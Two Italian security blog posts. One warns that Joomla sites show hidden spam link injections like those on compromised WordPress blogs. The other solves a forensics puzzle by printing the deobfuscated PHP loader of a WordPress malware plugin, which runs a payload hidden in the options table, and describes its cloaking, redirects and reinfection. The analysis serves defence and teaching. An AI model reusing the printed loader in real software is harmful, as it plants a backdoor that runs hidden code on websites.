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E’ già iniziato

L’attacco a Joomla. Forse no, ma forse è già in corso. Nel post precedente, al termine, mettevo in guardia i webmaster che usano Joomla sulla prospettiva non proprio remota di andare a far compagnia ai webmaster con WordPress compromesso.

Oggi ho provato qualche ricerca con termini ricorrenti nei link di spam, e indovinate un po’: decine di siti, anche italiani, che presentano link spam nascosti nella home page, iniettati in modo molto simile a quello usato in molti siti che impiegano WordPress. Secondo la cache dei motori di ricerca, le pagine sono state visitate tutte dopo l’inizio di agosto, dal 10 in poi.

Spero di sbagliarmi, che siano siti compromessi da molto più tempo, e per ragioni differenti, e non l’inizio di una nuova piaga.

Ah, il WordPress Autotest, anche se si lamenta che il sito non è basato appunto su WordPress, rileva comunque parole chiave e stili CSS atti a nascondere contenuto, ossia funziona anche con Joomla, anche se con qualche incertezza. Dato che la strategia di spamming rimane la stessa, pur cambiando lo strumento, i test euristici rilevano le stesse stranezze di tutti gli altri siti compromessi.

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Compiti per le vacanze: la soluzione

Vista la nutrita schiera dei partecipanti e la massa di soluzioni che mi sono pervenute (una sola, completamente fuori strada), qui di seguito trovate la soluzione all’indovinello estivo.

Il primo passo era di reperire il file da qualche parte, ed a questo qualcuno c’è arrivato, bravo Nanni. Era sufficiente cercare in Google una delle stringhe mostrate nell’immagine. Ad esempio basta inserire la stringa lpa1zxy (la terza in alto nell’immagine) in Google, ed il primo risultato è quello voluto. Notare che i siti che si ottengono dalla ricerca sono stati compromessi in vari modi, e probabilmente lo sono ancora. I bug e le vulnerabilità su cui si basano le intrusioni sono noti ormai da anni e se un webmaster non sa fare il suo lavoro è un suo problema.

Reperito il file, rimane da capire cosa stiamo guardando. A prima vista sembra qualcosa di cifrato con un algoritmo piuttosto banale, tipo una codifica Base64, o una ROT-13 (o cifrario di Cesare modificato).

Invece, e qui si mostra ancora una volta la genialità del mentecatto, si tratta di normale codice PHP, in cui le stringhe apparentemente codificate sono soltanto dei commenti. Eliminandoli e ricostruendo il codice “attivo” il risultato è un misero:


<?
$f = create_function("",strrev(get_option("wordpress_options")));
$f();
?>

Tutto qui. Questo è quello che viene inserito come plugin nei blog basati su WordPress violati dal mentecatto. Il plugin non fa altro che scaricare dal database, nella tabella delle opzioni di WordPress, un record iniettato contenente il vero plugin, e lo esegue. Il plugin ha varie funzioni, principalmente quella di controllare lo user agent dei visitatori e presentare i link di spam se è il GoogelBot a visitare il sito, mentre se è un normale visitatore proveniente da una ricerca per le pillole a basso costo lo reindirizza sul sito della farmacia. Poi ha anche altre funzioni, tipicamente di autodifesa, ed è capace di rimettersi in sesto se il blog viene aggiornato o viene fatto un tentativo di pulizia senza usare le maniere forti. Ne esiste una seconda variante, assolutamente identica come codice PHP attivo, sono soltanto differenti le finte stringhe cifrate, cioè i commenti.

Ne ho parlato e scritto fino alla nausea. Il mentecatto (i mentecatti, le infezioni sono in più varianti, questa è la più diffusa) è uno che ci capisce, non un wannabe. I blog WordPress infetti sono ancora al loro posto, mentre i proprietari dormono sonni tranquilli. Qualcuno ha pure fatto il test, ha visto i risultati e ha continuato come se niente fosse. Se ritiene che qualche link di spam non sia poi un gran problema, beh, in bocca al lupo.

Lo scopo dell’indovinello era quello di verificare le capacità di analisi, assolutamente necessarie per ricostruire gli eventi in caso di intrusione in un sito web. Analizzando questo file, che nei siti compromessi non ha mai l’apparenza di un file PHP, sono riuscito a trovare dove era nascosto il codice che presentava i link e che deviava le visite. Da lì ho scovato le altre iniezioni di dati nel database, ad esempio la cache dei link spam, e la modalità di reinfezione, o di sopravvivenza ad un upgrade. Peccato, una occasione persa, per tutti. Probabilmente sono io che non ho capito bene in cosa consista la Computer Forensics.

Al prossimo indovinello. Ah, a proposito, qualcuno usa Joomla? Beh, sappiate che state per andare in massa a fare compagnia a chi ha WordPress in versione “farcita”. Alcuni blog WordPress compromessi mostrano come link di spam siti che fanno uso di Joomla, naturalmente “farciti” con una variante prontamente sviluppata dal mentecatto. Naturalmente è sufficiente un upgrade alla versione corretta per mettersi al riparo, ma certamente non possiamo fare a meno di quel plugin bellissimissimo che con la nuova versione non funziona, e poi il tema stiloso non si vede bene, eh.

Tranquilli, il mentecatto si fa molti meno problemi. A lui il vostro sito piace com’è. Farcito.

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